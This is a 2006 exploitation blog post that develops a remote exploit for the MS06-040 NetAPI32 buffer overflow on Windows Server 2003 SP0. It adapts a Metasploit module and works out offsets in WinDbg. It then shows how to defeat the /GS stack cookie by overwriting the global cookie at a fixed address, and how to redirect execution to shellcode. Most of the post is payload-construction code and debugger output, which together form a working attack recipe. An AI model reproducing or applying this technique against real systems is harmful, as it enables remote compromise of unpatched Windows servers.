Software Vulnerability Exploitation Blog

Wednesday, September 13, 2006

When Kernel Crash : MS06-040 Windows Server 2003 SP0 Target

As I promise, now I will detail about how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in Windows Server 2003 SP0.

First of all, I use the metasploit module, netapi_ms06_040.pm, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this:

[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ],

change to

[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ],


add this code:

$shellcode = “\x42” x length($shellcode);

above the code line:

my $path


replace the code:

Pex::Text::AlphaNumText(number)

with

(“\x41” x number)

The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes. I run this exploit attack against the machine, and windbg show the result like this:

kd> .exr 00E0F1F8
ExceptionAddress: 77bd4d33 (msvcrt!wcscpy+0x0000000b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141
kd> .cxr 00E0F214
eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283
msvcrt!wcscpy+0xb:
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=????

The exception occurs at the address 0x77bd4d33 (wcscpy+0xb) – attemp to write to the address 0x41414141. I also view the stack:

kd> dd esp
00e0f4e0 71c44b7e 41414141 00e0f4f8 00000000
00e0f4f0 0016ded8 0011d878 0100d8d2 77da7417
00e0f500 42421000 42424242 42424242 42424242
00e0f510 42424242 42424242 42424242 42424242
00e0f520 42424242 42424242 42424242 42424242
00e0f530 42424242 42424242 42424242 42424242
00e0f540 42424242 42424242 42424242 42424242
00e0f550 42424242 42424242 42424242 42424242
kd> dd ebp
00e0f910 41414141 41414141 41414141 aaaaaaaa
00e0f920 41414141 41414141 aaaaaaaa 41414141
00e0f930 41414141 41414141 41414141 41414141
00e0f940 41414141 41414141 41414141 00000000
00e0f950 0011d87c 00000000 00e0f988 77c52360
00e0f960 0011d590 0011d5a0 0016ded8 00000061
00e0f970 0011d878 0011d87c 00000000 02020202
00e0f980 00000007 000efc9c 00e0fd64 77ce51d0
kd> kb
ChildEBP RetAddr Args to Child
00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy+0xb
00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName+0x12c

Now the address 0x41414141 is overwritten instead of 0xaaaaaaaa. I found that the offset of the position that can control ecx is at 46th bytes from the last of variable $path.

At this time I can control ecx, I change value 0xaaaaaaaa back to 0x02040801 (near the location 0x02080400) and rerun the exploit

kd> r
eax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????
kd> u
001b:77bd4d33 668901 mov word ptr [ecx],ax
001b:77bd4d36 41 inc ecx
001b:77bd4d37 41 inc ecx
001b:77bd4d38 42 inc edx
001b:77bd4d39 42 inc edx
001b:77bd4d3a 6685c0 test ax,ax
001b:77bd4d3d 75f1 jne 77bd4d30
001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]
kd> p
ntdll!KiUserExceptionDispatcher+0x4:
001b:77f4526b 8b1c24 mov ebx,dword ptr [esp]

After the instruction at the address 0x77bd4dee “mov word ptr [ecx], ax”, the function KiUserExceptionDispatcher() is called instead of the instruction at address 0x77bd4d36 “inc ecx”. This means that the address 0x02080401 is not writeable.

This is the new problem when developing this exploit. 0x02080401 is not writeable no more. There is any location that I can overwrite and it has to be reliable. One of the best choice is heap memory. I decide to use the memory address 0x01590101 as the memory to be overwritten.

kd> bl
0 e 77bd4d33 0001 (0001) "j @ecx = 01590101 '';'gc'"

kd> g
001b:77bd4d33 668901 mov word ptr [ecx],ax
kd> r
eax=00e8d8eb ebx=77bd4cfe ecx=01590101 edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:01590101=0000
kd> u
001b:77bd4d33 668901 mov word ptr [ecx],ax
001b:77bd4d36 41 inc ecx
001b:77bd4d37 41 inc ecx
001b:77bd4d38 42 inc edx
001b:77bd4d39 42 inc edx
001b:77bd4d3a 6685c0 test ax,ax
001b:77bd4d3d 75f1 jne 77bd4d30
001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]
kd> p
001b:77bd4d36 41 inc ecx

Yeah, 0x01590101 is writeable memory. Everything seems OK, it return from msvcrt!wcscpy() to NETAPI32!CanonicalizePathName().

msvcrt!wcscpy+0x1b:
001b:77bd4d43 c3 ret
kd> p
NETAPI32!CanonicalizePathName+0x12c:
001b:71c44b7e 59 pop ecx
kd> u
NETAPI32!CanonicalizePathName+0x12c:
001b:71c44b7e 59 pop ecx
001b:71c44b7f 59 pop ecx
001b:71c44b80 33c0 xor eax,eax
001b:71c44b82 8b4dfc mov ecx,dword ptr [ebp-4]
001b:71c44b85 5f pop edi
001b:71c44b86 5e pop esi
001b:71c44b87 5b pop ebx
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
001b:71c44b8d c9 leave
001b:71c44b8e c21400 ret 14h

Set of instructions are executed like I describe in the previous post, except this line:

NETAPI32!CanonicalizePathName+0x136:
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)

When this function is called, everything is disappear. The instruction “leave” at the address 0x71c44b8d is not called. As its name imply, this is the stack-based buffer overflow protection is Windows Server 2003 SP0. The function looks like this:

kd> u 71c414f6
NETAPI32!__security_check_cookie:
71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)]
71c414fc 0f8593060100 jne NETAPI32!__security_check_cookie+0x9 (71c51b95)
71c41502 c3 ret

This function will compare ecx value with the value that stored at 0x71c8c1ec – random cookie. The ecx value comes from the instruction at address 0x71c44b82 “mov ecx, dword ptr [ebp-4]” – the cookie that stored on the stack to cross check with the valid one. If ecx value match the valid cookie, the flow of execution will continue, if not it will jump to the address 0x71c51b95:

NETAPI32!__security_check_cookie+0x9:
71c51b95 e97d4e0000 jmp NETAPI32!__report_gsfailure (71c56a17)

it jumps to function NETAPI32!__report_gsfailure(). End up this !!!

Now, I’m faced with /GS --“. At first time I think may be I should give up at this point because there is no one can break /GS, except one that described by David Litchfield - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf. Litchfield’s technique use SEH to bypass the protection. But as I know, (may be) there is no part of our payload overwrite the handler so this technique cannot be used.

But something comes into my mind. At this point I have the following condition that true:

  • I can write to any memory location that I want – Sure, it has to be writable memory location (1)
  • I can modified the ecx value – cookie stored on stack (2)

Then I think if I can control both cookies on stacked and the valid cookie, I can pass the security cookie check function and execute “leave” and “ret” instruction. To control both cookies, these conditions have to be true:

  • I can write to the address that store the valid cookie. This address has to be writeable and is a fixed address – for a reliable exploit (3)
  • I can control ecx value (4)

Because the condition (2) is true, the condition (4) is also true because they are equivalent. For the condition (3), it will be true if the address that store the valid cookie, 0x71c8c1ec, is writable and is a fixed location.

After debug several times I found that this address is a fixed address inside NETAPI32 dll. Wow !!! my theory will become true if this address is writable. I haven’t tested but I quite sure that this memory location is writable because the cookie is generated at runtime and the process must have the write permission on it. If the process there is no write permissions, the valid cookie cannot be saved.

Now before we continue, I’ve rewrite the $path to make it more readable:


$shellcode = “\xcc” x length($shellcode)

my $path = $shellcode.

(“\x41” x ($target->[1] – length($shellcode))).
(“\x49” x 52).

(“\xec\xc1\xc8”\x71”).
(“\x43” x 40).
(“\x00\x00”);

and then rerun the exploit:

kd> bp 77bd4d33 "j @ecx = 71c8c1ec '';'gc'"
kd> g
001b:77bd4d33 668901 mov word ptr [ecx],ax
kd> r
eax=00e84242 ebx=77bd4cfe ecx=71c8c1ec edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:71c8c1ec=e64e
kd> p
001b:77bd4d36 41 inc ecx
kd> dd 71c8c1ec
71c8c1ec bb404242 00000000 00000000 00000000
71c8c1fc 00000000 000926e0 ffffffff 00000000
71c8c20c 00000000 00000000 00000000 71c8c218
71c8c21c 71c8c218 00000000 00000000 00000000
71c8c22c 00000000 00000000 00000000 00000000
71c8c23c 00000007 00000001 00000000 00000000
71c8c24c 00000000 00000000 00000000 00000000
71c8c25c 00000000 00092780 ffffffff 00000000

there is no error occur and the first 2 bytes of 0x71c8c1ec is overwrite to 0x4242 value. I let windbg run until it write all of the shellcode into 0x71c8c1ec – to see whether or not it allow to overwite memory location outside 0x71c8c1ec. I view the memory location:

kd> dd 71c8c1ec
71c8c1ec 42424242 42424242 42424242 42424242
71c8c1fc 42424242 42424242 42424242 42424242
71c8c20c 42424242 42424242 42424242 42424242
71c8c21c 42424242 42424242 42424242 42424242
71c8c22c 42424242 42424242 42424242 42424242
71c8c23c 42424242 42424242 42424242 42424242
71c8c24c 42424242 42424242 42424242 42424242
71c8c25c 42424242 42424242 42424242 42424242

Yeah !!! we can write our shellcode into the address 0x71c8c1ec - we can control the valid cookie. I let windbg run until it reach at the instruction address 0x71c44b8 – call the security cookie checking function().

kd> r
eax=00000000 ebx=000e9a70 ecx=49494949 edx=00e0f94e esi=000e7bc0 edi=00000000
eip=71c44b88 esp=00e0f4f8 ebp=00e0f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:71c44b88 e869c9ffff call 71c414f6

Our ecx value is 0x49494949 before compare with the value at the address 0x71c8c1ec. It’s a simple work to find the offset of this – it’s the 66th bytes from that last of $path variable. I change these bytes to “\x42” and then run the exploit again:

kd> r
eax=00000000 ebx=00106bc0 ecx=42424242 edx=00e8f94e esi=000e3670 edi=00000000
eip=71c44b88 esp=00e8f4f8 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
NETAPI32!CanonicalizePathName+0x136:
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
kd> dd 71c8c1ec
71c8c1ec 42424242 42424242 42424242 42424242
71c8c1fc 42424242 42424242 42424242 42424242
71c8c20c 42424242 42424242 42424242 42424242
71c8c21c 42424242 42424242 42424242 42424242
71c8c22c 42424242 42424242 42424242 42424242
71c8c23c 42424242 42424242 42424242 42424242
71c8c24c 42424242 42424242 42424242 42424242
71c8c25c 42424242 42424242 42424242 42424242
kd> p
NETAPI32!CanonicalizePathName+0x13b:
001b:71c44b8d c9 leave
kd> p
NETAPI32!CanonicalizePathName+0x13c:
001b:71c44b8e c21400 ret 14h
kd> p
001b:49494949 ?? ???

At this time ecx value is matched, the “leave” and “ret” instruction are executed. This results in the flow of execution transfer 0x49494949 – I win ^0^. Finding the offset of 0x49494949 is not the hard part. I change 0x49494949 to 0x71c8c1ec – address of our shellcode – End Game…

P.S. I’m working on 2K3 SP1 to see whether or not this technique can be used to bring the code execution. If someone has already done this, plz share information J

P.S. my blog down yesterday, so everything had to delay to this day (Sep 16, 2006)

3 Comments:

Post a Comment

<< Home